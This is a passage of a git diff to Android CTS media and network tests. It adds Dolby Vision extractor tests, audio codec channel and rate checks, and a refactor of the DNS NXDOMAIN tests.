diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
new file mode 100644
index 0000000..58f0f5b
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
new file mode 100755
index 0000000..0c754d6
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
new file mode 100644
index 0000000..894f308
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
new file mode 100755
index 0000000..9cc7925
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index cd09f08..72e4372 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -1408,12 +1408,24 @@
             assertFalse("Ringer stream should not be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_RING));
 
+            // delete the channel that can bypass dnd
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+            // delay for streams to get into correct mute states
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+            assertTrue("Music (media) stream should still be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+            assertTrue("System stream should still be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+            assertTrue("Alarm stream should still be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertTrue("Ringer stream should now be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
             Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
                     false);
-
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 9de3bd2..df40b8d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -225,8 +225,8 @@
                 // Only save timestamps after the data is flowing.
                 if (mPreviousTimestamp != null
                     && timestamp.framePosition > 0
-                    && (timestamp.nanoTime != mPreviousTimestamp.nanoTime
-                            || timestamp.framePosition != mPreviousTimestamp.framePosition)) {
+                    && timestamp.nanoTime != mPreviousTimestamp.nanoTime
+                    && timestamp.framePosition != mPreviousTimestamp.framePosition) {
                     mTimestamps.add(timestamp);
                 }
                 mPreviousTimestamp = timestamp;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
old mode 100644
new mode 100755
index d52dc16..fa20770
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1451,7 +1451,7 @@
         // constant for test
         final String TEST_NAME = "testGetMinBufferSizeTooHighSR";
         // FIXME need an API to retrieve AudioTrack.SAMPLE_RATE_HZ_MAX
-        final int TEST_SR = 192001;
+        final int TEST_SR = AudioFormat.SAMPLE_RATE_HZ_MAX + 1;
         final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
         final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 699df64..aba1d72 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -25,6 +25,7 @@
 import android.graphics.ImageFormat;
 import android.media.cts.CodecUtils;
 import android.media.Image;
+import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
@@ -38,6 +39,7 @@
 import android.view.Surface;
 import android.net.Uri;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 import com.android.compatibility.common.util.MediaUtils;
@@ -231,6 +233,88 @@
         testTimeStampOrdering(R.raw.sinesweepopusmp4);
     }
 
+    @CddTest(requirement="5.1.3")
+    public void testDecodeG711ChannelsAndRates() throws Exception {
+        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_G711_ALAW,
+                               MediaFormat.MIMETYPE_AUDIO_G711_MLAW };
+        int[] sampleRates = { 8000 };
+        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+                               AudioFormat.CHANNEL_OUT_STEREO,
+                               AudioFormat.CHANNEL_OUT_5POINT1 };
+
+        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+    }
+
+    @CddTest(requirement="5.1.3")
+    public void testDecodeOpusChannelsAndRates() throws Exception {
+        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_OPUS };
+        int[] sampleRates = { 8000, 12000, 16000, 24000, 48000 };
+        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+                               AudioFormat.CHANNEL_OUT_STEREO,
+                               AudioFormat.CHANNEL_OUT_5POINT1 };
+
+        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+    }
+
+    private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
+                                       int[] channelMasks) throws Exception {
+
+        for (String mimetype : mimetypes) {
+            ArrayList<MediaCodecInfo> codecInfoList = getDecoderMediaCodecInfoList(mimetype);
+            if (codecInfoList == null) {
+                continue;
+            }
+            for (MediaCodecInfo codecInfo : codecInfoList) {
+                MediaCodec codec = MediaCodec.createByCodecName(codecInfo.getName());
+                for (int sampleRate : sampleRates) {
+                    for (int channelMask : channelMasks) {
+                        int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
+
+                        codec.reset();
+                        MediaFormat desiredFormat = MediaFormat.createAudioFormat(
+                                mimetype,
+                                sampleRate,
+                                channelCount);
+                        codec.configure(desiredFormat, null, null, 0);
+
+                        Log.d(TAG, "codec: " + codecInfo.getName() +
+                                " sample rate: " + sampleRate +
+                                " channelcount:" + channelCount);
+
+                        MediaFormat actual = codec.getInputFormat();
+                        int actualChannels = actual.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1);
+                        int actualSampleRate = actual.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1);
+                        assertTrue("channels: configured " + actualChannels +
+                                   " != desired " + channelCount, actualChannels == channelCount);
+                        assertTrue("sample rate: configured " + actualSampleRate +
+                                   " != desired " + sampleRate, actualSampleRate == sampleRate);
+                    }
+                }
+                codec.release();
+            }
+        }
+    }
+
+    private ArrayList<MediaCodecInfo> getDecoderMediaCodecInfoList(String mimeType) {
+        MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        ArrayList<MediaCodecInfo> decoderInfos = new ArrayList<MediaCodecInfo>();
+        for (MediaCodecInfo codecInfo : mediaCodecList.getCodecInfos()) {
+            if (!codecInfo.isEncoder() && isMimeTypeSupported(codecInfo, mimeType)) {
+                decoderInfos.add(codecInfo);
+            }
+        }
+        return decoderInfos;
+    }
+
+    private boolean isMimeTypeSupported(MediaCodecInfo codecInfo, String mimeType) {
+        for (String type : codecInfo.getSupportedTypes()) {
+            if (type.equalsIgnoreCase(mimeType)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     public void testDecode51M4a() throws Exception {
         decodeToMemory(R.raw.sinesweep51m4a, RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
     }
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
index 7ee1bb6..ac8b2c3 100644
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -825,7 +825,7 @@
                             0,
                             size,
                             presentationTime,
-                            videoExtractor.getSampleFlags());
+                            flags);
                     videoExtractedFrameCount++;
                 }
                 // We extracted a frame, let's try something else next.
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 90cd301..74b0452 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -319,6 +319,11 @@
                 && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
     // Find whether the given codec can be found using MediaCodecList.find methods.
     private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
         String codecName = isEncoder
@@ -410,7 +415,11 @@
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+
+            //According to CDD, hevc decoding is not mandatory for automotive devices
+            if (!isAutomotive()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+            }
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
             if (hasCamera()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 4fe4531..558cad9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2043,6 +2043,7 @@
         private int mBufOut = 0;
         private int mBufCounter = 0;
 
+        private MediaExtractor mExtractor; // Read from Extractor instead of InputStream
         // helper for bytewise read()
         private byte[] mOneByte = new byte[1];
 
@@ -2085,6 +2086,12 @@
             mBufferInputStream = input;
         }
 
+        MediaCodecStream(MediaExtractor mediaExtractor,
+                MediaFormat format) throws Exception {
+            this(format, false /* encode */);
+            mExtractor = mediaExtractor;
+        }
+
         @Override
         public ByteBuffer read() throws IOException {
 
@@ -2104,8 +2111,19 @@
                     buf.clear();
                     int inBufLen = buf.limit();
                     int numRead = 0;
-
-                    if (mBufferInputStream != null) {
+                    long timestampUs = 0; // non-zero for MediaExtractor mode
+                    if (mExtractor != null) {
+                        numRead = mExtractor.readSampleData(buf, 0 /* offset */);
+                        timestampUs = mExtractor.getSampleTime();
+                        Log.v(TAG, "MediaCodecStream.read using Extractor, numRead "
+                                + numRead +" timestamp " + timestampUs);
+                        mExtractor.advance();
+                        if(numRead < 0) {
+                           mSawInputEOS = true;
+                           timestampUs = 0;
+                           numRead =0;
+                        }
+                    } else if (mBufferInputStream != null) {
                         ByteBuffer in = null;
                         do {
                             in = mBufferInputStream.read();
@@ -2135,7 +2153,7 @@
                     }
 
                     int flags = mSawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0;
-                    if (!mEncode && !mSentConfig) {
+                    if (!mEncode && !mSentConfig && mExtractor == null) {
                         flags |= MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
                         mSentConfig = true;
                     }
@@ -2145,7 +2163,7 @@
                     mCodec.queueInputBuffer(index,
                             0 /* offset */,
                             numRead,
-                            0 /* presentationTimeUs */,
+                            timestampUs /* presentationTimeUs */,
                             flags);
                     Log.i(TAG, "queued input buffer " + index + ", size " + numRead);
                 }
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 0a6ab99f..78e22d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -23,9 +23,11 @@
 import android.icu.util.ULocale;
 import android.media.AudioFormat;
 import android.media.AudioPresentation;
+import android.media.MediaCodecInfo;
 import android.media.MediaDataSource;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION;
 import android.media.cts.R;
 import android.os.PersistableBundle;
 import android.platform.test.annotations.AppModeFull;
@@ -35,6 +37,8 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.BufferedReader;
 import java.io.Closeable;
 import java.io.IOException;
@@ -130,6 +134,169 @@
         afd.close();
     }
 
+    // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
+    public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_30fps_dvhe_04);
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheDtr, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd30, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/hevc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheStn/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvheStn() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_05);
+
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            // DvheStn exposes only a single non-backward compatible Dolby Vision HDR track.
+            assertEquals("There must be 1 track", 1, mExtractor.getTrackCount());
+            final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+
+            final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheStn, profile);
+
+            final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+        } else {
+            MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
+        }
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_08);
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheSt, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/hevc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/hevc", mimeType);
+    }
+
+    // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
+    public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
+        TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvav_09);
+
+        assertTrue("There should be either 1 or 2 tracks",
+            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+        int trackCountForDolbyVision = 1;
+
+        // Handle the case where there is a Dolby Vision extractor
+        // Note that it may or may not have a Dolby Vision Decoder
+        if (mExtractor.getTrackCount() == 2) {
+            if (trackFormat.getString(MediaFormat.KEY_MIME)
+                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+                trackFormat = mExtractor.getTrackFormat(1);
+                trackCountForDolbyVision = 0;
+            }
+        }
+
+        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+            MediaFormat trackFormatForDolbyVision =
+                mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+            assertEquals("video/dolby-vision", mimeType);
+
+            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvavSe, profile);
+
+            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+
+            final int trackIdForDolbyVision =
+                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+        }
+
+        // The backward-compatible track should have mime video/avc
+        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+        assertEquals("video/avc", mimeType);
+    }
+
     private void checkExtractorSamplesAndMetrics() {
         // 1MB is enough for any sample.
         final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
@@ -399,9 +566,10 @@
         public MediaFormat mFormat;
 
         private MediaExtractor mExtractor;
+        private MediaCodecTest.MediaCodecStream mDecoderStream;
 
         public MediaExtractorStream(
-                String mime,
+                String inMime, String outMime,
                 MediaDataSource dataSource) throws Exception {
             mExtractor = new MediaExtractor();
             mExtractor.setDataSource(dataSource);
@@ -411,23 +579,26 @@
             for (int i = 0; i < numTracks; ++i) {
                 final MediaFormat format = mExtractor.getTrackFormat(i);
                 final String actualMime = format.getString(MediaFormat.KEY_MIME);
-                if (mime.equals(actualMime)) {
-                    mExtractor.selectTrack(i);
-                    mFormat = format;
+                mExtractor.selectTrack(i);
+                mFormat = format;
+                if (outMime.equals(actualMime)) {
                     break;
+                } else { // no matching mime, try to use decoder
+                    mDecoderStream = new MediaCodecTest.MediaCodecStream(
+                            mExtractor, mFormat);
+                    Log.w(TAG, "fallback to input mime type with decoder");
                 }
             }
-            assertNotNull("MediaExtractor cannot find mime type " + mime, mFormat);
+            assertNotNull("MediaExtractor cannot find mime type " + inMime, mFormat);
             mIsFloat = mFormat.getInteger(
                     MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
                             == AudioFormat.ENCODING_PCM_FLOAT;
-
         }
 
         public MediaExtractorStream(
-                String mime,
+                String inMime, String outMime,
                 MediaCodecTest.ByteBufferStream inputStream) throws Exception {
-            this(mime, new ByteBufferDataSource(inputStream));
+            this(inMime, outMime, new ByteBufferDataSource(inputStream));
         }
 
         @Override
@@ -435,7 +606,9 @@
             if (mSawOutputEOS) {
                 return null;
             }
-
+            if (mDecoderStream != null) {
+                return mDecoderStream.read();
+            }
             // To preserve codec-like behavior, we create ByteBuffers
             // equal to the media sample size.
             final long size = mExtractor.getSampleSize();
@@ -500,7 +673,8 @@
                             new MediaCodecTest.ByteBufferInputStream(audioStream),
                             format, true /* encode */);
             final MediaExtractorStream flacToRaw =
-                    new MediaExtractorStream("audio/raw", rawToFlac);
+                    new MediaExtractorStream(MediaFormat.MIMETYPE_AUDIO_FLAC /* inMime */,
+                            MediaFormat.MIMETYPE_AUDIO_RAW /* outMime */, rawToFlac);
 
             // Note: the existence of signed zero (as well as NAN) may make byte
             // comparisons invalid for floating point output. In our case, since the
diff --git a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
index f86ee49..cab5790 100644
--- a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
+++ b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
@@ -254,14 +254,7 @@
             Objects.requireNonNull(mimeType);
             assertEquals(mimeType, webkitMap.getMimeTypeFromExtension(extension));
             assertTrue(webkitMap.hasExtension(extension));
-
-            // Extensions should never start with '.', make sure this is not the case ahead
-            // of the subsequent check.
-            assertFalse(extension.startsWith("."));
-            // Relax this check for extensions that contain "." because of http://b/141880067
-            if (!extension.contains(".")) {
-                assertEquals(mimeType, urlConnectionMap.getContentTypeFor("filename." + extension));
-            }
+            assertEquals(mimeType, urlConnectionMap.getContentTypeFor("filename." + extension));
         }
 
         for (String mimeType : mimeMap.mimeTypes()) {
diff --git a/tests/tests/nativehardware/AndroidTest.xml b/tests/tests/nativehardware/AndroidTest.xml
index 3f11774..b4de33d 100644
--- a/tests/tests/nativehardware/AndroidTest.xml
+++ b/tests/tests/nativehardware/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNativeHardwareTestCases.apk" />
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index b6ea4af..b00455d 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -60,6 +60,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
index 5bd3013..2832c3d 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -145,7 +145,7 @@
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -155,29 +155,15 @@
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
             "v4 res_nquery check answers");
 
-    // V4 NXDOMAIN
-    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
-    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v4 res_nquery NXDOMAIN check answers");
-
     // V6
     fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_aaaa, 0);
     EXPECT_GE(env, fd, 0, "v6 res_nquery");
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
             "v6 res_nquery check answers");
-
-    // V6 NXDOMAIN
-    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v6 res_nquery NXDOMAIN check answers");
-
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
     // V4
@@ -200,15 +186,6 @@
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_noerror),
             "v4 res_nsend 1st check answers");
 
-    // V4 NXDOMAIN
-    memset(buf1, 0, sizeof(buf1));
-    len1 = makeQuery(kNxDomainName, ns_t_a, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v4 res_mkquery NXDOMAIN");
-    fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v4 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_nxdomain),
-            "v4 res_nsend NXDOMAIN check answers");
-
     // V6
     memset(buf1, 0, sizeof(buf1));
     memset(buf2, 0, sizeof(buf2));
@@ -226,21 +203,47 @@
             "v6 res_nsend 2nd check answers");
     EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_noerror),
             "v6 res_nsend 1st check answers");
-
-    // V6 NXDOMAIN
-    memset(buf1, 0, sizeof(buf1));
-    len1 = makeQuery(kNxDomainName, ns_t_aaaa, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v6 res_mkquery NXDOMAIN");
-    fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v6 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_nxdomain),
-            "v6 res_nsend NXDOMAIN check answers");
-
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNnxDomainCheck(
+        JNIEnv* env, jclass, jlong nethandle) {
+    net_handle_t handle = (net_handle_t) nethandle;
+
+    // res_nquery V4 NXDOMAIN
+    int fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v4 res_nquery NXDOMAIN check answers");
+
+    // res_nquery V6 NXDOMAIN
+    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+            "v6 res_nquery NXDOMAIN check answers");
+
